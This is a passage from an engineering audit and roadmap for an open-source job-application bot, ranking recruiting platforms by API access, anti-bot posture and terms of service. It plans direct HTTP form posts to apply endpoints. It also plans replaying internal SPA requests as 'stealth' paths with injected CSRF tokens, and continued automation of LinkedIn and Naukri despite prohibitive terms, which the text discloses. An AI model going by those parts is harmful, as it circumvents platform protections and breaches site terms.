BambooHR	Form POST likely works (PHP-rendered .php?id= URLs)	POST {co}.bamboohr.com/jobs/view.php?id={id}	Medium	View-source on real posting; capture form action

Recruitee is the single highest-ROI tier-4 promotion. Its public Careers Site API explicitly documents the apply endpoint as candidate-perspective with no auth header. The official docs (verified by direct page-read of docs.recruitee.com/reference/offersoffer_idcandidates) state: *POST /api/offers/{offer_slug}/candidates — Apply for the job offer (create candidate). By default, these fields are required: name, phone, email, cv.* No other ATS in the researched landscape offers this. Promoting Recruitee would make JoBot the only OSS job bot with three direct-API ATS integrations (Greenhouse, Lever, Recruitee) — a meaningful differentiator versus the browser-only commercial competition.

11.4 Tier-3 Ceiling Platforms (Browser Only)

The following platforms have no public candidate-side apply API. Their apply flow is an SPA with token-gated XHR or a multi-step wizard with file upload. Browser automation via Patchright is the only path forward. Each platform's confidence level reflects the SPA's complexity and the platform's anti-bot posture.

Platform	Why No API	Apply URL Pattern	Confidence
Ashby	SPA + recruiter-gated applicationForm.submit; returns isBlocked flag	jobs.ashbyhq.com/{co}/{uuid}	High
Workable	SPA + recruiter-gated API token; possible stealth tier-4 via internal XHR	apply.workable.com/{co}/jobs/{shortcode}	Medium
Teamtaylor	SPA + partner-only Direct Apply API (HMAC or IP-whitelist)	careers.{co}.teamtaylor.com/jobs/{id}	High
BreezyHR (new)	SPA + recruiter-gated OAuth/per-account key	{co}.breezy.hr/job/{id}	High
Zoho Recruit (new)	SPA + recruiter-gated OAuth2	careers.zohorecruit.com/{co}/jobs/{id}	High
Freshteam (new)	SPA + recruiter-gated API key from employer account	{co}.freshteam.com/jobs/{id}	High

Platform	Why No API	Apply URL Pattern	Confidence
Jobvite (new)	SPA + recruiter-gated API; public XML feed exists for discovery	<code>careers.jobvite.com/{co}/job/{id}</code>	High
iCIMS (new, lower priority)	Heavy SPA, often login-walled; account-creation required	<code>{co}-careers.icims.com/jobs/{id}</code>	Medium

11.5 Tier-2 and Tier-1 Ceiling Platforms

The following platforms have either ToS that explicitly prohibits automated submission, or auth models that require enterprise tenant credentials unavailable to a candidate-side bot. JoBot should keep them at their current tier and document the ceiling honestly in the README — fabricating tier-3 status would violate the project's own honesty doctrine.

Platform	Current	Ceiling	Reason
Indeed	Tier 1	Tier 1	Partner-only APIs; ToS prohibits 'automated means'; PerimeterX/HUMAN bot detection. Multiple cease-and-desist actions against scrapers.
Glassdoor	Tier 1	Tier 1	Retired public API; ToS prohibits scraping; same parent as Indeed (Recruit Holdings).
ZipRecruiter	Tier 1	Tier 1	Partner-only APIs; ToS prohibits automation; Cloudflare + PerimeterX.
Google for Jobs	Tier 1	Tier 1	Public Jobs API shut down 2021; pure search aggregator; apply redirects to destination ATS (so tier-4 of destination applies).
SAP SuccessFactors (new)	—	Tier 2	OData API requires tenant-admin Basic Auth; no candidate-side anything.
Oracle Taleo / ORC (new)	—	Tier 2	Customer/partner-only REST API; apply flow too enterprise-heavy.
Cornerstone OnDemand (new)	—	Tier 2	Partner/credential-gated mixed-purpose API.
LinkedIn	Tier 3	Tier 3 (ToS risk)	No public API since 2015 partner-program gating; User Agreement §8.2 prohibits automation; aggressive account-ban risk. HiQ Labs lawsuit precedent.
Naukri	Tier 3	Tier 3	No public candidate API; employer-side Resdex API only. ToS prohibits automation; account-ban risk on refresh loops.
Workday	Tier 3	Tier 3	No public candidate API; OAuth-gated Staffing REST API. SSO walls common; per-tenant URL pattern makes generic automation brittle.

11.6 Open-Source Prior Art Survey

The OSS job-bot ecosystem is uniformly browser-based — none of the surveyed projects use direct ATS APIs for apply. JoBot's existing tier-4 for Greenhouse/Lever is industry-leading. Adding Recrutee as a third tier-4 platform would meaningfully differentiate JoBot from every comparable project. The table below summarizes the landscape:

Project	Status	Apply Method	Tier-4 Platforms
python-jobsby	Active	Discovery only — no apply code	None
Simplify (simplify.jobs)	Active, closed-source	Browser extension autofill	None
Sonara (sonara.ai)	Shut down Feb 2024	Was browser automation, closed-source	None

Project	Status	Apply Method	Tier-4 Platforms
LazyApply	Active, paid extension	Browser automation (LinkedIn/Indeed/ZipRecruiter)	None
Huntr / Teal	Active, freemium	Browser autofill (one-click apply), tracker-first	None
AIHawk (Jobs_Applier_AI_Agent)	Active, OSS	Browser (Selenium/Playwright) for LinkedIn/Indeed/Glassdoor	None
GodsScion/Auto_job_applier_linkedIn	Active, OSS	Browser (LinkedIn only)	None
JoBot	Active, OSS (this project)	Browser (Pachright) + Direct API (Greenhouse, Lever)	Greenhouse, Lever (industry-leading)

12. Platform Tier Expansion Plan

This chapter integrates the research findings from Chapter 11 with the audit's existing remediation roadmap (Chapter 9). It defines four additional phases (A–D) that sequence platform-tier work after the audit's Phase 1 critical fixes, and that bring every supported platform up to tier-3 minimum with tier-4 expansion wherever the research supports it. Each phase is designed to ship as an independent set of PRs and to be measurable against the project's adapter-capability test suite (`test_no_fake_submission.py`).

12.1 Plan Sequencing & Dependencies

The plan is sequenced so that earlier phases unblock later ones. Phase 0 (audit remediation) must complete first because the platform-expansion work depends on the fabrication bugs being fixed — otherwise new tier-3 adapters will inherit the same fabrication patterns the audit identified in Naukri and the Workable/Ashby Live adapters. Phases A and B can run in parallel (they touch different files). Phase C depends on Phase A's tier-4 adapter scaffolding. Phase D is independent of A–C and can run at any time.

Phase	Name	Depends On	Duration	Outcome
0	Audit Phase 1 critical fixes	—	1–2 days	Fabrication bugs fixed; BrowserSessionPool wired; selectors unified
A	CXS tier-2 → tier-3 (browser)	Phase 0	2–3 weeks	Ashby, Workable, Teamtailor submit via Patchright
B	Tier-3 hardening (LinkedIn, Naukri, Workday)	Phase 0	1–2 weeks	Existing tier-3 adapters actually work end-to-end
C	Tier-4 expansion (Recruitee, SmartRecruiters, Personio, JazzHR, BambooHR)	Phase A	2–3 weeks	5 new tier-4 adapters; 7 total tier-4 platforms
D	Tier-1 → tier-2 discovery enhancement + new tier-3 platforms	Phase 0	1–2 weeks	BreezyHR, Zoho Recruit, Freshteam, Jobvite added; structured metadata for tier-1 boards

12.2 Phase 0 — Audit Remediation Prerequisites

Phase 0 is the audit's existing Phase 1 remediation roadmap (see Chapter 9.1). It is a prerequisite for all platform-tier expansion work because the new tier-3 adapters in Phase A will inherit the `BrowserSessionPool` / `SelectorRegistry` / `BrowserEvidenceCollector` scaffolding that the audit found to be bypassed or dead code. Specifically, before Phase A starts:

- **Fix fabrication in Naukri adapter** (audit Critical) — replace fabricated `parse_job_posting` and `discover_jobs` with real implementations. Naukri discovery should scrape the public search results page; `parse` should extract structured metadata from the job detail page.
- **Delete Workable/Ashby Live adapters** (audit Critical) — they are unreachable from production and fabricate submission success. Phase A replaces them with real implementations.
- **Wire BrowserSessionPool into all browser adapters** (audit High) — every adapter must go through `acquire(portal, headless)` so the `max_idle_sessions=4` cap is enforced. This prevents Phase A from spawning unbounded Chromium processes.
- **Make adapters async context managers** (audit High) — `async with adapter:` ensures `_session.close()` runs on exit. Phase A's new adapters will follow this pattern by default.
- **Unify selectors via SelectorRegistry** (audit Medium) — every browser adapter currently declares its own inline `DEFAULT_SELECTORS`. Phase A's new adapters must look up selectors via `SelectorRegistry.get_selectors(portal, field_name)`.
- **Wire BrowserEvidenceCollector into browser adapters** (audit High) — `application_id-namespaced` evidence directories. Phase A's new adapters must call `capture_pre_submit` / `capture_post_submit` around their submit clicks.
- **Add already-applied check to Easy Apply saga** (audit Critical) — Phase B's LinkedIn work depends on this idempotency guarantee.
- **Implement LinkedIn Easy Apply resume upload** (audit High) — the saga never uses the `resume_path` parameter. Phase B cannot ship tier-3 LinkedIn without this.
- **Implement Workday SSO via persistent context** (audit High) — `login()` is currently a no-op. Phase B will implement this.

12.3 Phase A — CXS Tier-2 to Tier-3 Migration

Phase A promotes Ashby, Workable, and Teamtailor from tier-2 (discovery-only) to tier-3 (browser-submit). The work follows a shared adapter base class pattern, with each platform providing only portal-specific selectors and form-mapping logic. Estimated effort: 2–3 weeks for one developer, or 1 week for three developers working in parallel on the three platforms.

12.3.1 CXSBrowserSubmitter Base Class

Create `src/jobot/adapters/cxs_browser_base.py` with a shared base class. The base class handles: session acquisition via `BrowserSessionPool`, navigation to the apply URL, form-field mapping from the `Application.form_values` dict to platform-specific selectors, file upload via `page.set_input_files`, submit click with already-applied detection, and evidence collection via `BrowserEvidenceCollector`. Each subclass provides only: the apply URL pattern, a portal-specific selector map (loaded from `SelectorRegistry`), and a form-field mapping function that translates `Application.form_values` to platform field names.

The base class enforces the project's honesty doctrine structurally: every submit call ends in either `SUBMITTED` with a real confirmation marker present on the page, `SUBMISSION_UNKNOWN` if no marker is found (audit Critical fix), or `DUPLICATE_SKIPPED` if already-applied markers are present. No silent

fabrication is possible from a subclass.

12.3.2 Per-Platform Implementation Specs

Platform	Apply URL	Form Complexity	Anti-bot	Effort
Ashby	<code>jobs.ashbyhq.com/{co}/{uuid}</code>	SPA multi-step wizard; dynamic question schema; EEO questions	<code>applicationForm.submit</code> returns <code>isBlocked</code> boolean; per-session form token	3–5 days
Workable	<code>apply.workable.com/{co}/jobs/{shortcode}</code>	SPA multi-step (info → resume → screening → EEO); conditional questions	Cloudflare; verify if internal XHR is replayable (stealth tier-4 possible)	2–4 days
Teamtailor	<code>careers.{co}.teamtailor.com/jobs/{id}</code>	SPA multi-step (profile → resume → screening → consent)	SPA token-gated; no CAPTCHA documented	2–3 days

After Phase A ships, the existing discovery-only CXS adapters in `adapters/cxs.py` are split: the `parse_job_posting` methods stay (they call the public JSON API for discovery, which is real), but the `submit_application` methods now delegate to `CXSBrowserSubmitter`. The fabricated job descriptions in `cxs.py` (audit Critical) are removed — `parse_job_posting` returns only real API data, with `parsed_skills=[]` if the API doesn't return skills (the downstream `MatchingLadder` handles empty skill lists correctly).

12.4 Phase B — Tier-3 Hardening

Phase B fixes the existing tier-3 adapters that the audit found to be partly or wholly non-functional. Without Phase B, the project's README claims tier-3 support for LinkedIn, Naukri, and Workday that does not actually work end-to-end. Phase B can run in parallel with Phase A (different files, no conflicts).

Platform	Audit Finding	Phase B Fix	Effort
LinkedIn Easy Apply	No already-applied check; skips fields; never uploads resume; saga unbounded	Add <code>ALREADY_APPLIED_MARKERS</code> list and check before/after submit; implement select-option handling via <code>QAEEngine.answer_question + page.select_option</code> ; add <code>input[type='file']</code> handling via <code>page.set_input_files</code> ; bound modal loop at <code>MAX_MODAL_STEPS=50</code>	3–5 days
Naukri	Fabricated <code>parse_job_posting</code> and <code>discover_jobs</code> ; login flow blocks sidebar stdin	Implement real Naukri search-URL scraping in <code>discover_jobs</code> (parse the public search results page); implement real <code>parse_job_posting</code> (extract structured metadata from job detail page HTML); replace <code>input()</code> OTP prompt with async callback for GUI sidebar	5–7 days
Workday	<code>login()</code> is a no-op; submit structurally cannot succeed; <code>LOGIN_WALL_SELECTORS</code> defined but unused	Implement SSO via persistent context (user manually logs in once via <code>headless=False</code> , persistent context reuses cookies); add <code>_is_login_wall</code> helper using existing <code>LOGIN_WALL_SELECTORS</code> ; downgrade to tier-2 if SSO cannot be made reliable	3–5 days

12.5 Phase C — Tier-4 Expansion

Phase C is the highest-ROI work in this plan. It adds five new tier-4 platforms (Recruitee, SmartRecruiters, Personio, JazzHR, BambooHR) by leveraging the form-POST pattern that the research verified works on each. After Phase C, JoBot will have seven tier-4 platforms — five more than any other OSS job bot in the surveyed

landscape. Phase C depends on Phase A's adapter scaffolding (it reuses the `BrowserEvidenceCollector` and `SelectorRegistry` patterns), but the new adapters themselves are pure HTTP — no browser required.

12.5.1 FormPOSTAdapter Base Class

Create `src/jobot/adapters/form_post_base.py` with a shared base class for HTTP form-POST adapters. The base class handles: multipart form-data construction (via `requests_toolbelt.MultipartEncoder` or `stdlib email.mime.multipart`), file upload for resume/cover letter (base64-encoded into the form or sent as a part), SSRF validation via the existing `url_guard.validate_fetch_url`, circuit-breaker wrapping via the existing `CircuitBreaker.execute_with_retry`, evidence collection via `BrowserEvidenceCollector.record_api_evidence` (already used by Greenhouse/Lever), and idempotency via the existing effect-ledger. Each subclass provides only: the form action URL pattern, the field-name mapping, and an optional HTML-form-scraping step to extract hidden CSRF tokens or per-session form tokens.

The base class reuses the Greenhouse and Lever adapter patterns as the template — both already implement the correct evidence-collection + idempotency + SSRF-validation flow. Phase C is essentially a refactor that extracts the shared logic into `FormPOSTAdapter`, then migrates Greenhouse and Lever to inherit from it before adding the five new platforms.

12.5.2 Per-Platform Implementation Specs

Platform	Discovery	Apply Endpoint	Special Handling	Effort
Recruitee	GET <code>/api/offers</code> (existing)	POST <code>/api/offers/{slug}/candidates</code>	Multipart form with cv (file), name, phone, email, <code>open_question_answers_attributes[]</code> ; no auth; verify 201 response	1–2 days
SmartRecruiters (new)	GET <code>api.smartrecruiters.com/postings</code>	POST <code>jobs.smartrecruiters.com/{co}/{uuid}</code> (form)	Capture form action in DevTools first; multipart with resume (PDF/DOC/RTF/JPG/PNG, 2MB), <code>answers[]</code> , <code>consentDecisions[]</code>	2–3 days
Personio (new)	GET <code>{co}.jobs.personio.de/xml</code>	POST <code>{co}.jobs.personio.de/job/{id}</code> (form)	Parse XML feed for discovery (not JSON); capture form action; multipart with resume, screening answers, GDPR consent	2–3 days
JazzHR (new)	GET <code>resumatorapi.com/v1/jobs/xml/{id}</code>	POST <code>{co}.applytojob.com/apply/{id}</code> (form)	View-source on real posting to verify classic PHP form; multipart with resume; single-step typically	2 days
BambooHR	GET <code>{co}.bamboohr.com/jobs/</code> (HTML scrape)	POST <code>{co}.bamboohr.com/jobs/view.php?id={id}</code> (form)	View-source to verify PHP-rendered form; multipart with resume; update discovery from current JSON assumption to HTML scraping	2 days

Implementation order matters. Recruitee should ship first — it's the highest-confidence tier-4 candidate and the implementation validates the `FormPOSTAdapter` scaffolding. SmartRecruiters and Personio ship next (medium-confidence, require a one-session DevTools capture). JazzHR and BambooHR ship last (medium-confidence, require view-source verification of the form action). If any platform's verification step fails (e.g., the form action requires a CSRF token that isn't available without a browser session), that platform is downgraded to tier-3 (Phase A pattern) and the plan continues with the remaining platforms.

12.6 Phase D — Discovery Enhancement & New Tier-3 Platforms

Phase D is independent of A–C and can run in parallel from the start. It addresses two gaps: (1) the tier-1 boards (Indeed, Glassdoor, ZipRecruiter, Google for Jobs) cannot realistically be promoted above tier-1 due to ToS and anti-bot constraints, but their discovery can be enhanced with structured metadata parsing; (2) four new tier-3 platforms (BreezyHR, Zoho Recruit, Freshteam, Jobvite) are worth adding for coverage of additional ATS markets.

12.6.1 Tier-1 Discovery Enhancement

The current tier-1 boards scrape job postings via JobSpy and store them in the SQLite dedup cache, but the parsed metadata is sparse — often just title, company, location, and a raw description blob. Phase D adds a post-scrape enrichment step that extracts structured fields: salary range (parsed from the description via regex + currency detection), experience requirements (years + seniority level), work arrangement (remote / hybrid / on-site), visa sponsorship indicators, and tech-stack hints (for the MatchingLadder). The enrichment runs via the existing `SkillExtractor` + a new `JobMetadataExtractor` module. This doesn't change the tier-1 ceiling but materially improves the quality of the matching ladder's stage-1 hard filter and stage-2 skill overlap, which means users see fewer false-positive matches from these boards.

12.6.2 New Tier-3 Platforms

Platform	Market	Discovery	Effort	Priority
BreezyHR	SMB (US/EU)	GET {co}.breezy.hr/json	2–3 days	Medium
Zoho Recruit	SMB (India/APAC)	GET careers.zohorecruit.com/{co}/jobs	2–3 days	Medium
Freshteam	SMB (Freshworks ecosystem)	GET {co}.freshteam.com/jobs	2–3 days	Low
Jobvite	Enterprise (US)	GET careers.jobvite.com/{co}/jobs	3–4 days	Low

These four platforms follow the Phase A `CXSBrowserSubmitter` pattern exactly. They are listed as lower priority because their market share is smaller than the Phase A platforms (Ashby, Workable, Teamtailor are dominant in their respective segments; BreezyHR, Zoho Recruit, Freshteam, Jobvite are not). They should be added after Phase A proves the pattern works at scale.

12.7 Risk Assessment & ToS Posture

The plan explicitly does not promote any tier-1 board above tier-1. Indeed, Glassdoor, ZipRecruiter, and Google for Jobs have ToS that prohibit automated access and have actively litigated against scrapers (Indeed's cease-and-desist actions, LinkedIn's lawsuit against HiQ Labs). LinkedIn and Naukri are kept at tier-3 with explicit ToS-risk disclosure — the audit's `SECURITY.md` already documents this residual (see Live Browser Adapters section). Phase B improves reliability of these adapters but does not change the ToS posture.

The tier-4 expansion (Phase C) is the most ToS-friendly work in the plan. Recuitee, SmartRecruiters, Personio, JazzHR, and BambooHR each expose a public HTML apply form that is by design accessible without authentication. Submitting to that form via HTTP POST is functionally identical to submitting via a browser — the only difference is the absence of a JavaScript runtime. This is the same pattern Greenhouse and Lever already use, and the project's existing SSRF + circuit-breaker + idempotency scaffolding applies unchanged. The README and SECURITY.md should be updated to document that tier-4 platforms are the

project's preferred submission path and that tier-3 is for platforms without a public apply endpoint.

Phase	ToS Risk	Account-Ban Risk	Mitigation
A (CXS → tier-3)	Low — public apply forms, no explicit ToS prohibition	Low — no login required for most CXS apply forms	Rate-cap per host (existing CircuitBreaker); evidence collection per submission
B (tier-3 hardening)	Medium for LinkedIn/Naukri (ToS prohibits); Low for Workday (SSO is user-driven)	High for LinkedIn (Easy Apply detection); Medium for Naukri (refresh-loop detection)	Document residual in SECURITY.md; default <code>JOBOT_RUN_LIVE_BROWSER=0</code> ; per-host daily caps (already in policy/engine.py)
C (tier-4 expansion)	Low — public apply forms, no ToS prohibition found in research	None — no account required	Idempotency via effect ledger (existing); SSRF validation (existing); rate-cap per host
D (discovery enhancement)	Low for tier-1 boards (JobSpy already scrapes); Low for new tier-3 platforms	None for discovery	Respect robots.txt; rate-cap scrape frequency; cache aggressively

12.8 Verification Protocol for Tier-4 Candidates

Before any Phase C platform is implemented, the maintainer must complete a one-session DevTools verification. The protocol is deterministic and takes ~30 minutes per platform. The output is a captured form-action URL, HTTP method, and list of required form fields — which becomes the spec for the platform's `FormPOSTAdapter` subclass.

- **Step 1 (Recruitee):** Hit `https://{any-public-recruitee-company}.recruitee.com/api/offers/{any-offer-slug}` with `curl` to confirm no auth required for read. Then construct a minimal `POST /api/offers/{offer_slug}/candidates` with name, email, phone, cv fields and verify a 201 response. Use a throwaway email.
- **Step 2 (SmartRecruiters):** Open `https://jobs.smartrecruiters.com/{any-public-company}/{any-job-uuid}` in browser DevTools. Find the element. Capture its action URL and method. Replay with `curl`. Confirm no `X-SmartToken` needed for the form-post path. If a CSRF token is required, capture where it comes from (likely a meta tag in the page HTML) and add a fetch-and-inject step to the adapter.
- **Step 3 (Personio):** Visit any public `{company}.jobs.personio.de/job/{id}` page. Capture the apply form's POST endpoint. Verify it accepts multipart form-data without bearer auth. If a CSRF token is required, capture the meta-tag or cookie it's read from.
- **Step 4 (JazzHR):** Visit any `{company}.applytojob.com/apply/{job_id}`. View source. Confirm it's a classic HTML with a server-side action URL. Replay with `curl`.
- **Step 5 (BambooHR):** Visit any `{company}.bamboohr.com/jobs/view.php?id={id}`. View source. Capture . Replay with `curl`.
- **Step 6 (Ashby, optional stealth tier-4):** In DevTools on `jobs.ashbyhq.com/{company}/{job-uuid}`, capture the XHR that `applicationForm.submit` actually calls. Check whether the per-session form token comes from an unauthenticated GET. If yes, the SPA XHR is replayable as a stealth tier-4; if no, tier-3 (Phase A) is the path.
- **Step 7 (Workable, optional stealth tier-4):** Same DevTools capture on `apply.workable.com/{company}/jobs/{shortcode}`. Check if internal `/spi/v3/...` POST requires auth or accepts a public session token from the page HTML.

For all verification steps: use a real test candidate profile (the maintainer's own), not a fake name, to avoid ToS violations against the platform's anti-fraud rules. Document the captured form action URL pattern in `docs/platforms/{platform}.md` after verification, so future contributors don't need to repeat the DevTools session.

12.9 Estimated Total Effort & Sequencing

The full plan (Phases 0 + A + B + C + D) is approximately 8–12 weeks of work for a single developer, or 4–6 weeks for a team of three working in parallel (Phase A and Phase B can run concurrently; Phase C depends on Phase A's scaffolding; Phase D is independent). The plan is designed to ship incrementally — each phase produces a measurable improvement in platform coverage and can be released as a minor version bump. The table below summarizes the expected end state after each phase.

After Phase	Tier-4 Count	Tier-3 Count	Tier-2 Count	Tier-1 Count	Version Bump
Current (audit)	2	3 (broken)	5	4	—
Phase 0 (audit fixes)	2	3 (working)	5	4	1.1.0
Phase A (CXS → tier-3)	2	6	2	4	1.2.0
Phase B (tier-3 hardening)	2	6	2	4	1.3.0
Phase C (tier-4 expansion)	7	6	2	4	2.0.0
Phase D (new tier-3 + tier-1 enhancement)	7	10	2	4	2.1.0

After the full plan ships, JoBot will have 7 tier-4 platforms, 10 tier-3 platforms, 2 tier-2 platforms (SAP SuccessFactors and Oracle Taleo, both enterprise-only and documented as discovery ceiling), and 4 tier-1 boards (Indeed/Glassdoor/ZipRecruiter/Google for Jobs, all ToS-gated). Every platform that can realistically be promoted has been promoted — no fabricated tier-3 status, no ToS-violating tier-3 attempts on tier-1 boards. The project's coverage of the ATS landscape would be the broadest of any open-source job bot in the surveyed ecosystem, with the only meaningful gaps being enterprise-only platforms (iCIMS, SAP SuccessFactors, Oracle Taleo, Cornerstone) and ToS-prohibitive job boards (Indeed, Glassdoor, ZipRecruiter).

12.10 Integration with Existing Audit Roadmap

Phase 0 of this plan is identical to Phase 1 of the audit's remediation roadmap (Chapter 9.1) — they are the same work, viewed from two angles. The audit's Phase 2 (hardening sprint) partially overlaps with this plan's Phase B (tier-3 hardening) — specifically, the audit's call to wire `BrowserSessionPool`, close browser pages in `try/finally`, and add `async` shutdown hooks is the prerequisite for this plan's Phase A. The audit's Phase 3 (quality sprint) is independent of this plan and can run in parallel. The recommended sequencing for the maintainer is:

- **Weeks 1–2:** Audit Phase 1 + this plan's Phase 0 (same work). Ship as v1.1.0.
- **Weeks 3–4:** Audit Phase 2 (hardening — `async` context managers, page lifecycle, `BrowserSessionPool` wiring) + this plan's Phase B (tier-3 hardening — LinkedIn, Naukri, Workday). These overlap because both touch the browser adapter layer. Ship as v1.2.0 + v1.3.0.

- **Weeks 5–7:** This plan's Phase A (CXS tier-2 → tier-3 — Ashby, Workable, Teamtailor via CXSBrowserSubmitter). Ship as v1.3.0 or v1.4.0.
- **Weeks 8–10:** This plan's Phase C (tier-4 expansion — Recrutee first, then SmartRecruiters, Personio, JazzHR, BambooHR). Ship as v2.0.0 (major bump because tier-4 count triples).
- **Weeks 11+:** Audit Phase 3 (quality sprint) + this plan's Phase D (new tier-3 platforms + tier-1 discovery enhancement). Ship as v2.1.0.

The audit's call to add a docs-CLI-consistency test (Chapter 10, next-steps item #3) should also be extended to cover docs/platforms/*.md — every platform doc should match a registered adapter, and every registered adapter should have a doc. This catches the same fabrication pattern the audit found in USER_GUIDE.md but at the platform level.

Finally, the project's README platform-support matrix should be updated at each phase boundary to reflect actual end state. The current matrix claims tier-3 support for LinkedIn Easy Apply, Naukri, and Workday that the audit found to be partly non-functional — Phase 0 must either fix the adapters or downgrade the README claims honestly. Adding a column to the matrix for 'last verified working date' (similar to the SelectorRegistry's self-healing log) would give users a clear signal of which adapters are actively maintained.